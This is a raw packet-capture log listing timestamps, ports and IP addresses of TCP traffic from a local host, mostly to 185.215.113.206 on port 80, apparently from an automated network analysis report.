Nov 28, 2024 11:05:30.929682016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.929781914 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.930102110 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.930319071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.930718899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.930871010 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.930877924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.930907011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.931797981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.931809902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.931924105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.932845116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.932859898 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.932940960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.932940960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.933908939 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.933942080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.934003115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.934003115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.934926033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.935072899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.935143948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.936012030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.936284065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.937062025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.937081099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.937114954 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.937155008 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.937237024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.938060999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.938163042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.938221931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.938221931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.939150095 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.939203978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.939239025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.939335108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.940203905 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.940217018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.940278053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.941989899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.942004919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.942074060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.942074060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.942226887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.942292929 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.943033934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.943463087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.943568945 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.943640947 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.944519997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.944679022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.946269035 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.946343899 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.946405888 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.946633101 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.946651936 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.946810007 CET	49842	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.946818113 CET	443	49842	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.952680111 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.952718973 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.952847958 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.953191996 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.953202009 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:31.007858038 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.127829075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.293391943 CET	443	49847	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:31.293791056 CET	49847	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:31.293800116 CET	443	49847	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:31.295142889 CET	443	49847	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:31.295497894 CET	49847	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:31.295669079 CET	443	49847	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:31.334554911 CET	443	49846	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:31.334835052 CET	49846	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:31.334877968 CET	443	49846	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:31.335221052 CET	443	49846	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:31.335535049 CET	49846	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:31.335603952 CET	443	49846	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:31.348643064 CET	49847	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:31.380033970 CET	49846	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:31.454735041 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.455300093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.455364943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.455375910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.455399036 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.455399036 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.456302881 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.456535101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.456600904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.456600904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.457325935 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.457381010 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.458244085 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.458420038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.458431959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.458530903 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.458530903 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.459439993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.460408926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.460458994 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.460458994 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.460576057 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.460587978 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.461540937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.461613894 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.461613894 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.461770058 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.462034941 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.462585926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.462918043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.462990046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.462990046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.463630915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.463834047 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.464097023 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.464097023 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.464705944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.465790987 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.465802908 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.465815067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.465843916 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.465843916 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.466033936 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.466742039 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.466871023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.467808962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.468854904 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.468885899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.468898058 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.468960047 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.468967915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.469006062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.469027996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.469904900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.469984055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.470527887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.470869064 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.470972061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.471076965 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.472023964 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.472037077 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.472059965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.472098112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.472111940 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.473032951 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.473109007 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.473284006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.473444939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.474117041 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.474358082 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.474875927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.474955082 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.475192070 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.475203991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.475330114 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.476211071 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.476286888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.477257013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.477269888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.477281094 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.477343082 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.477761984 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.478281975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.478571892 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.478893042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.479269981 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.479382038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.479394913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.479453087 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.479453087 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.480514050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.480542898 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.480572939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.480623960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.481472969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.481589079 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.481597900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.481679916 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.482467890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.482506037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.482531071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.482559919 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.483573914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.483586073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.483673096 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.484579086 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.484673023 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.485255957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.485599995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.485694885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.486460924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.486521959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.486654997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.486764908 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.486874104 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.486995935 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.487792015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.487857103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.487893105 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.488082886 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.488795042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.488806963 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.489171028 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.489887953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.489900112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.489949942 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.489981890 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.490967989 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.490979910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.491075993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.491961002 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.491974115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.492028952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.492979050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.492990017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.493060112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.494090080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.494136095 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.494143009 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.494199038 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.495039940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.495244980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.495290041 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.495333910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.496578932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.496603012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.496645927 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.496646881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.497231960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.497243881 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.497291088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.497291088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.498235941 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.498266935 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.498327017 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.499252081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.499321938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.499341011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.499687910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.500376940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.500389099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.500432968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.500809908 CET	49855	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:31.500893116 CET	443	49855	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:31.500976086 CET	49855	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:31.501149893 CET	49855	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:31.501168013 CET	443	49855	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:31.501332045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.501554012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.501622915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.502387047 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.502820969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.502914906 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.503443003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.503520012 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.503982067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.504028082 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.504465103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.504522085 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.505315065 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.505402088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.505595922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.505608082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.505702972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.506608963 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.506656885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.506748915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.507009983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.507637978 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.507730961 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.507858992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.507942915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.508661985 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.509119987 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.509280920 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.509706020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.509804010 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.510288000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.510529041 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.510772943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.510791063 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.510814905 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.510843992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.511861086 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.511872053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.511950970 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.513003111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.513138056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.656033039 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:31.656779051 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:31.656805992 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:31.657016993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.657249928 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.657252073 CET	49845	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:31.657258034 CET	443	49845	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:31.657488108 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.657619953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.657632113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.657670021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.657670021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.658643961 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.658711910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.658956051 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.659457922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.659707069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.659718990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.659765005 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.660691023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.660746098 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.660990000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.661031961 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.661739111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.661844015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.662707090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.662796021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.662806988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.662879944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.663846016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.663912058 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.664026022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.664288998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.664882898 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.665178061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.665231943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.665956020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.666070938 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.667521000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.667532921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.667543888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.667609930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.668025017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.669164896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.669178009 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.669189930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.669225931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.669248104 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.670173883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.670186043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:31.670249939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:31.671209097 CET	80	49782	185.215.113.206	192.168.2.7
